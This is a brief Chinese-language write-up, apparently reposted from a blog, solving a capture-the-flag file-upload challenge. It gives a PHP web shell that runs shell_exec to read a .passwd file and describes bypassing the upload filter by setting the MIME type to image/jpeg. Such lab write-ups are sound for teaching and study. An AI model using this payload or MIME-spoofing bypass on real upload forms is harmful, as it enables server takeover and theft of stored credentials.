File upload - MIME type

Your goal is to hack this photo galery by uploading PHP code.
Retrieve the validation password in the file .passwd.
>

修改mime type类型即可,常用类型:

  • 超文本标记语言:.html text.html

  • 普通文件:.txt text/plain

  • RTF文件:.rtf application/rtf

  • GIF图形:.gif image/gif

  • JPEG图形:.jpeg,.jpg image/jpeg

<?php
  $a = shell_exec("cat ../../../.passwd");

  echo "</pre>$a</pre>";
?>

再上传php中将mime type 更改为image/jpeg

猜你喜欢

转载自www.cnblogs.com/abbin-blog/p/12073327.html